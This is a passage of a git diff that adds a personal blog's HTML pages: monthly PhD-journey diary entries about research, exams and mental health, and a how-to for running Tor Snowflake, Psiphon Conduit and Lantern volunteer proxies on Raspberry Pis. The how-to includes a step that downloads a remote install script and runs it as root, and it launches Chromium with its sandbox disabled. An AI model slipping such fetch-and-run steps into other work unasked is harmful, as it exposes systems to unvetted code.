    +fQy/wpq+VFKZsB4clVAQoabPr+Q+JWAe0OOWcdrpp8FXlKfIkPc=
    +=hIg9
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/june_2026.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/june_2026.md.asc
    +gpg --verify june_2026.md.asc june_2026.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/phd_journey/november_2025/index.html b/public-clearnet/phd_journey/november_2025/index.html new file mode 100644 index 0000000..a9cc376 --- /dev/null +++ b/public-clearnet/phd_journey/november_2025/index.html @@ -0,0 +1,45 @@ +November '25 | AlipourIm journeys +

    November '25

    4th

    Again, let’s setup some goals for the month.

    • Literature review
    • Keeping up with my coursework
    • Working on my codebase
    • Getting healthier diet and excercise-wise

    30th

    I did a bit of literature review, it’s still lacking unfortunately.

    Coursework is ok-ish. I’ve been trying to work on assignements and understand them.

    I rewrote the whole codebase, now we have a modularized design that should be easier to add to.

    I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
    +jSp+yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp
    +HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL+93WUlDzrbB
    +A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu+kpPgk
    ++w1DkW+BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67+nqQXzMG0MGbHu
    +j3kjROJAv65K+g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP
    +CzxTYpLlhLW+2yb9TKlg8uVi0QCg+akbaEbU2k6RC7+oFA14/1teE6MgCXwCx3Nz
    +mP7SndZoR+fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb
    +CIRPuOyWo13SrZxPEArrLOA3tGERPqp+oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64
    +P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm
    +Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8
    +1ZmGjhVLJAB9bQyxAMwOBd6EBUC+Y/sFcTSViytTtFUn+NA1MUo=
    +=F8i0
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/November_2025.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/November_2025.md.asc
    +gpg --verify November_2025.md.asc November_2025.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/phd_journey/october_2025/index.html b/public-clearnet/phd_journey/october_2025/index.html new file mode 100644 index 0000000..97f6292 --- /dev/null +++ b/public-clearnet/phd_journey/october_2025/index.html @@ -0,0 +1,137 @@ +October '25 | AlipourIm journeys +

    October '25

    1st

    Ok, let’s start the month by declareing some goals and agendas.

    What do I want to do this month?

    • Finish previous semester.
    • Pick the last of the course work for my prep phase.
    • Finalize the CoNEXT student workshop paper.
    • Finish my second RIL.
    • Start my 3rd and last RIL.
    • Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?
    • More literature review, persumabely all of FOCI related papers this month.
    • Work on my codebase:
      1. Do code cleaning
      2. Add comments for code
      3. Start working on ICMP stuff
    • More socializing! :-)
    • A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.
    • Enhance your routines and add exercise to it please!

    Alright. Now that the goals are set, let’s start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I’m doing work!

    I have started to take SSRIs again. +I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. +I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. +After being all happy and things working very well, we started to cut the last piece of the puzzle. +We agreed to reduce the dosage by 0.25% of the max and wait for one month. +Things were going really well for the first two and a half month, and then it happened. +The catastrophe that put me in my worst mental and physicall position happened to me. +It’s not something I want to talk about in my blog, well at least for now, but I’ve tried to talk about it with my closest friends. +It’s so sad that things happened the way they did. +I never really fully recovered. +But… time has passed. +Almost 8 months now. +I should not have continued to cut my medication, but I did. +I damaged myself badly by being stubborn. +My brother who knew everything insisted that I should continue the usage, but I didn’t listen. +My parents didn’t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. +I was scared of my own shadow for more than one month. +I eventually started to go out, but seeing some certain people made me uncomfortable. +This is another thing I haven’t been able to figure out. +In the end, I just endured pain, a lot of pain. +I’m glad I didn’t break, but I do think most people would’ve. +To deal with this pain, I decided to take many courses. +Cure pain with more pain. +What a fool I was. +I just tore myself up mentally and added much more unneeded stress.

    Did I mention I didn’t show up in office for 6 weeks? +And that when I came back I was hit again with things I didn’t understand? +Sometimes in life shit happens, but this was a whole new level. +I don’t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. +I’ve been trying to just lay low, stick to myself, and stay the hell out of trouble.

    3rd

    Today is the German unity day, and we have a long weekend ahead! +Other than that, last night was one of the most fantabolous days of my life. +I’m feeling more content and secure. +I’m feeling true happiness. +I don’t know how much the SSRI is affecting me, but I know one thing for sure. +I’m just like I used to be 9 months ago. +Just as jolly, positive, and feeling like I’m on top of the world. +Thinking about it a bit more, I do think I’m being a bit less passionate about my work. +What could be the reason? Different priorities? Nah. I really love my research and care about it. +I think it’s just that there is no pressure on me, and no deadline. +I will try to set small deadlines for myself and force myself to be more productive. +Oh, and the SSRI adverse effects are visible! Yeah… But it’s going to be alright, I’m sure of it. +I have an exam I need to prepare for on 7th, but I’ve been procrastinating. I should plan my days and stick to it. Hell yes.

    5th

    My student workshop paper to CoNEXT ‘25 was rejected. +It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.

    First review (wa) provided two suggestions for improving the work. +However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.

    Second review (wr) asked for more details. +In the end they suggested only focusing on one approach and it’s evaluation. +This kinda defeated the purpose of what I was trying to do, to provide “tools”.

    Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. +This is indeed something I like to work on and look at in the near future.

    7th

    Stressful day. +I had my last exam, the exam for Interactive systems that I did not attend the main exam for. +I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. +I don’t know how I did, but I’m glad I did the exam. +Hopefully I did alright, although I kinda do know some of the mistakes I’ve made, which is a really bad sign… +I hope I won’t have to take another extra course in the next semesters, that would just be annoying. +I really do hope so.

    8th

    I’m back at work, still very distracted with life. +I do need to do literature review, expand my framework, and focus on my work. +It’s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. +I hope I can get myself together and start being productive again.

    9th

    I will be doing literature review today. +Yesteday I didn’t manage to get myself together. Drat. +There will be a nice social event later today too. +I can rest and socialize with my group’s amazing people! +It’ll be fun! :)

    Another fun thing is that I will get my very own physical GFW box today. +It’s probably the most majestic thing that could’ve happened? +The reason for it is that a month ago there was a leak for GFW. +Lucky us I guess.

    13th

    Last week was again not a productive week. +I will start to plan my days from now on. +The important things are literature review, working on the code base, and looking at the box a bit. +Unfortunately the new semester also starts from today. +I’ll be having one, at most two courses.

    17th

    Another unproductive week. +I think this was the worst one actually. +I can’t focus on reading the papers, I get distracted easily or lose interest. +Tobias suggested USENIX’s 3-slide slide deck to enhance my focus, I’ll give it a try.

    I also need to address the elephant in the room, and start working on the codebase.

    I also need to look at the GFW files more, and try to find useful stuff there.

    But first I need to work on HTDN’s papers, and craft the slides. That is the highest priority on my list. I’ll do it.


    31st

    It went by. +It went by quickly. +I wasn’t able to pick myself up this month, but I won’t let it happen in the following. +I want to be truthful, so I won’t hide anything. +the only thing is I should’ve let myself grief a bit, and I did. I’m proud of it. It’s fine. +For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. +I promise.

    Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it’s not a bad thing. The problem is I don’t have much to present, and that’s why this is the content. Idk if I change the structure or not, but for now it is what it is.

    Ok, let’s set some goals for next month in advance, then we can see how good we did.

    • I want to work on ICMP stuff and make it work nicely.
    • I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this.
    • I need to keep up with my courses, including the German class.
    • I might work more on the GFW leaked data, but I think it’s not a priority for me for now. So… scrap this last one.

    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM
    +jSryHhAAvH+XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9
    +2UuypSgH7l7mG9Ga+1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx
    +G4jS7A4PxYZbRt8+lVuyphe+KMRiwOMfPuWoIse2hfpfhs64h+cmZVPen5zsWHD5
    +2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi+4vS6p87h0x8E2tVqCUNQEGgiriu
    +NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx+W8FqEGzu11D3VxO85+Q5/EY
    +n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7+8OYnIv1CRPLPz/hHoZxklkflyZ
    +yqNdg8o+aRHsqbDVQxIKQXH5xUEcDH+9A7bRxmCmgksML01dPnrcw4ioYzu+t0em
    +4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0
    +B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD+tKsbY+5/
    +YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE+bROitVdZ6auE5AXmef1aN
    +t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8=
    +=NvQ7
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/October_2025.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/October_2025.md.asc
    +gpg --verify October_2025.md.asc October_2025.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/phd_journey/page/1/index.html b/public-clearnet/phd_journey/page/1/index.html new file mode 100644 index 0000000..40aee3a --- /dev/null +++ b/public-clearnet/phd_journey/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/phd_journey/ + \ No newline at end of file diff --git a/public-clearnet/phd_journey/september_2025/index.html b/public-clearnet/phd_journey/september_2025/index.html new file mode 100644 index 0000000..f705455 --- /dev/null +++ b/public-clearnet/phd_journey/september_2025/index.html @@ -0,0 +1,60 @@ +September '25 | AlipourIm journeys +

    September '25

    I started the month by finalizing my draft for Conext Student workshop. +Let’s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time.

    I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!

    Surprise surprize, the notification did not come and it’s the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I’ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October… +Drat!

    I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that’s been done so far.

    My social life has been much more exciting too. +I’ve been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don’t have the courage to write about now. ;) +Buuuuuut… I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)

    And with that, that’s my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story!


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP+Np/gpwm2Y2viYAv+njdwQag
    +w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk
    +IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe+QGYpGsYEhei8tbjv7y
    +3giN/X4Vz8oowHlF0XCiBm+E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl
    +MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB+0JzZG
    +1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq+nEpRj0IGsHBZUn4t
    +xxwF+HzHtVd9JWZHcfhLnh16PRT+drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm
    +9adYEohRZeM09EY16M6D+0JJDaQcHkL4TbTr/S1xbZ+K/5L+tLI9Mg0XoX0ZdG0B
    +BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu+ELzLA0cik55TfEQNuiUDEpbz
    +yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv
    +nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU+DyWles=
    +=ranU
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/PhD_journey/September_2025.md
    +curl -fSLO https://blog.alipour.eu/sources/PhD_journey/September_2025.md.asc
    +gpg --verify September_2025.md.asc September_2025.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/2025_highlight/index.html b/public-clearnet/posts/2025_highlight/index.html new file mode 100644 index 0000000..bace4c4 --- /dev/null +++ b/public-clearnet/posts/2025_highlight/index.html @@ -0,0 +1,35 @@ +2025 Highlight | AlipourIm journeys +

    2025 Highlight

    I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.

    After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend’s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We’ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I’m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..

    Bonus: Remember I said we went to a Sushi place? I’ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I’m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that “we were eating across the hall, and I noticed how pretty she is!”. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn’t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11
    +vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8
    +Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh+dxU4LtSIp6CaGNHH6mrhq5
    +LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go+hE/0n0
    +HWcmIsQgBMiu+XEN5R8jCmW+IZ4uN0FMW6Y+IlfLKNmhhTCj/e+2kO3mxP5TPltf
    +2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy
    +JIafzVNz9tIDe1SfnP9NnxQ+gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu
    +5xpuA8nesJsD9oM+ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2
    +cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1
    +Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK+FjAvby+KYBObc/mbB4
    +ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0=
    +=T3Em
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/2025_highlight.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/2025_highlight.md.asc
    +gpg --verify 2025_highlight.md.asc 2025_highlight.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/blackout/index.html b/public-clearnet/posts/blackout/index.html new file mode 100644 index 0000000..e2b7ad2 --- /dev/null +++ b/public-clearnet/posts/blackout/index.html @@ -0,0 +1,138 @@ +Blackout | AlipourIm journeys +

    Blackout

    I tried to be more useful, but when I couldn't, I found another way.

    Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again.

    After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.

    One important vibe check before we start: I’m not giving anyone a custom “backdoor” into your network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as volunteer nodes inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.

    Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever)

    I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.

    So I turned my Pis into helpers.

    This post is about running three different anti‑censorship tools on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:

    • Psiphon Conduit – to help Psiphon users automatically
    • Tor Snowflake (standalone proxy) – to help Tor users automatically
    • Lantern Unbounded – a browser‑based volunteer bridge, daemonized so it runs forever

    Everything runs headless (or headless‑ish), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.


    The philosophy: don’t be a public server, be a volunteer node

    A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.

    Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.

    That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.


    What you need (one time)

    This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.

    First, install Docker (because containers are a gift):

    sudo apt update
    +sudo apt install -y curl
    +curl -fsSL https://get.docker.com -o get-docker.sh
    +sudo sh get-docker.sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +

    Now make yourself a clean playground under /srv:

    sudo mkdir -p /srv/{conduit,snowflake,lantern}
    +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern}
    +

    I like /srv because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.


    Conduit: quietly helping Psiphon users (Docker)

    Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.

    The important part is persistence. Conduit generates an identity key the first time it runs (conduit_key.json), and that identity builds reputation over time. If you lose it, you start from zero again.

    The file: /srv/conduit/docker-compose.yml

    Create it:

    cd /srv/conduit
    +vim docker-compose.yml
    +

    Paste this:

    services:
    +  conduit:
    +    image: ghcr.io/ssmirr/conduit/conduit:latest
    +    container_name: conduit
    +    restart: unless-stopped
    +
    +    # Keep keys and state across restarts
    +    volumes:
    +      - ./data:/app/data
    +
    +    # Optional: if you want a different bandwidth limit / max clients,
    +    # you can pass CLI flags here (these are examples).
    +    # command: ["conduit", "start", "-b", "4", "-c", "8"]
    +

    Then bring it up:

    docker compose up -d
    +docker logs -f conduit
    +

    When it’s working, you’ll see things like:

    • [OK] Connected to Psiphon network
    • periodic [STATS] lines with Connecting/Connected counters (that’s your “is anyone using this?” moment)

    If you ever want to stop it:

    docker stop conduit
    +

    Or “disable but keep everything” (recommended):

    docker compose down
    +

    Or “delete it from orbit” (not recommended unless you enjoy rebuilding):

    docker rm -f conduit
    +

    Snowflake: Tor, but even quieter (Docker Compose)

    Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes watchtower for automatic updates.

    The file: /srv/snowflake/docker-compose.yml

    You can download the official file exactly like this:

    cd /srv/snowflake
    +wget -O docker-compose.yml \
    +  "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads"
    +

    If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:

    services:
    +  snowflake-proxy:
    +    network_mode: host
    +    image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest
    +    container_name: snowflake-proxy
    +    restart: unless-stopped
    +
    +    # For a full list of Snowflake proxy args, see the upstream docs.
    +    # Example if you ever need it:
    +    # command: ["-ephemeral-ports-range", "30000:60000"]
    +
    +  watchtower:
    +    image: containrrr/watchtower
    +    container_name: watchtower
    +    restart: unless-stopped
    +    volumes:
    +      - /var/run/docker.sock:/var/run/docker.sock
    +    command: snowflake-proxy
    +

    Start it (with auto updates):

    docker compose up -d
    +docker logs -f snowflake-proxy
    +

    If you see:

    Proxy starting
    +NAT type: restricted
    +

    …that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.

    If you get the “container name already in use” error, it just means you already have a snowflake-proxy container from a previous attempt. Fix it with:

    docker rm -f snowflake-proxy
    +docker compose up -d
    +

    Lantern Unbounded: a browser that helps people (systemd + Xvfb)

    Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.

    So we cheat — politely.

    We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.

    Install what we need

    sudo apt update
    +sudo apt install -y xvfb
    +sudo apt install -y chromium-browser || sudo apt install -y chromium
    +

    Fix the X11 socket dir permissions (the annoying but essential part)

    If you don’t do this, Xvfb may throw:

    _XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.

    Fix it once:

    sudo chmod 1777 /tmp
    +sudo mkdir -p /tmp/.X11-unix
    +sudo chown root:root /tmp/.X11-unix
    +sudo chmod 1777 /tmp/.X11-unix
    +

    The file: /etc/systemd/system/unbounded.service

    Pick your username. On my boxes, it’s either hub or rpi. Use your actual user.

    Create the service:

    sudo vim /etc/systemd/system/unbounded.service
    +

    Paste this, and replace YOUR_USER with your username (e.g. hub or rpi):

    [Unit]
    +Description=Lantern Unbounded (Xvfb + Chromium)
    +After=network-online.target
    +Wants=network-online.target
    +
    +[Service]
    +User=YOUR_USER
    +Environment=DISPLAY=:99
    +Environment=XDG_RUNTIME_DIR=/run/user/%U
    +
    +ExecStart=/usr/bin/bash -lc '\
    +  /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \
    +  sleep 1; \
    +  $(command -v chromium || command -v chromium-browser) \
    +    --no-first-run \
    +    --disable-breakpad \
    +    --disable-features=TranslateUI \
    +    --autoplay-policy=no-user-gesture-required \
    +    --use-fake-ui-for-media-stream \
    +    --disable-gpu \
    +    --no-sandbox \
    +    --app=https://unbounded.lantern.io/ \
    +    --kiosk \
    +    --window-size=1280,720 \
    +    --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \
    +    --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \
    +'
    +
    +Restart=always
    +RestartSec=5
    +KillMode=mixed
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Enable and start:

    sudo systemctl daemon-reload
    +sudo systemctl enable --now unbounded.service
    +systemctl status unbounded.service --no-pager
    +

    If you see Active: active (running), you’ve won.

    “It runs headless-ish, but how do I know it’s alive?”

    The simplest “is it on?” checks:

    systemctl status unbounded.service --no-pager
    +journalctl -u unbounded.service -f
    +

    And the “is it actually doing network things?” check:

    sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true
    +

    If you ever want to stop it:

    sudo systemctl stop unbounded.service
    +

    If you want it not to start on boot:

    sudo systemctl disable unbounded.service
    +

    A note on safety, legality, and expectations

    None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.

    The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.

    That’s the part I like.


    The quiet satisfaction of it all

    There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.

    No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.

    And honestly? That’s enough.


    Some rants

    I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we’ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom’s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(

    This is super sad and frustrating. I’ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I’ve been dealing with this situation. It’s just annoying. Let’s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh… :(


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS+WczSN1mgw5rrx
    +A7pKwjInH+uf/gs3u84Fx9rrgwPTfLQN+++iuDYobWddwFWvXyCpJ/nBene2i8Dr
    +EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu
    +5E+QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj
    +Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH
    +XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p+XhtcHxwh
    +Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx
    +EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7
    +YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N+kj0Pf6uFQZ8TB+/Grqsgo
    +xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic
    +pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM+Cw=
    +=t4W3
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

